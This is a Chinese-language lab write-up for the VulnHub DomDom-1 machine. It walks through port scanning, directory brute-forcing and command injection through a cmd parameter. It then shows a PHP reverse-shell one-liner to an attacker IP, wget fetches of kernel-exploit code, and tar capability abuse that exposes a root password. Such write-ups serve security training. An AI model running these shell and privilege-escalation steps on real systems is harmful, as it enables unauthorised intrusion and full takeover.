Vulnhub DomDom-1(靶机玩乐2023-11-30_已完成)
靶机下载地址:https://www.vulnhub.com/entry/domdom-1,328/

第一步:扫一下同网段接口IP:

第二步:nmap扫描版本端口详细信息并输出


第三步:访问80端口服务

第四步:简单做做dirb目录遍历,也可以安装gobuster等做目录扫描:https://blog.csdn.net/qq_22597955/article/details/118553139
gobuster dir -u http://192.168.0.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
gobuster用法:https://blog.csdn.net/nzjdsds/article/details/86756828

第五步:访问http://192.168.177.130/admin.php

第六步:填写用户名、密码后通过 BurpSuite 抓取登录数据包,改成admin.php再看

发现 JavaScript 代码中可传递cmd参数

添加&cmd=id

第七步:反弹shell搞起来
反弹shell参考:https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet、
https://forum.ywhack.com/shell.php等
tty不通方法区别:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
php -r '$sock=fsockopen("192.168.177.129",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
通过 PHP 执行经 URL 编码后的反弹shell命令;URL编码:https://tool.chinaz.com/tools/urlencode.aspx


 
获取ttyshell(可回显),python3,bin/bash

第八步:权限提升
方式1:审核是否存在内核漏洞:https://github.com/The-Z-Labs/linux-exploit-suggester


通过 wget 下载 linux-exploit-suggester.sh 并赋予执行权限
wget http://192.168.177.129/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
ditycow提权(本地系统:https://www.exploit-db.com/download/40616;docker提:https://github.com/gebl/dirtycow-docker-vdso.git)

wget http://192.168.177.129/40839


dirtycow跟dirtycow2碰壁,大概率编译环境问题
wget http://192.168.177.129/40839.c本地编译情况如下:

虚拟机死机(下次试试本地编译dirtycow仍死机)

方式二
tar提权? https://juejin.cn/post/7140875597063913508
linux提权总接:https://cloud.tencent.com/developer/article/1942516
我们可以通过以下指令搜索设置了capabilities的可执行文件
getcap -r / 2>/dev/null

capabilities 把root的权限细分了,可以分别启用或者禁用。
在进行特权操作的时候,如果euid不是root,那么系统就会检查是否具有执行特权操作的对应capabilities ,并以此为凭据决定特权操作是否能被执行。
查看有登陆权限的用户

利用 tar 压缩用户domom目录,解压后在README.md中成功拿到 root 密码(在原目录下)
/bin/tar -cvf domom.tar /home/domom
/bin/tar -xvf domom.tar
cd /home/domom/Desktop
cat README.md

最后:得出root密码为:Mj7AGmPR-m&Vf>Ry{}LJRBS5nc+*V.#a

完结撒花!
 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号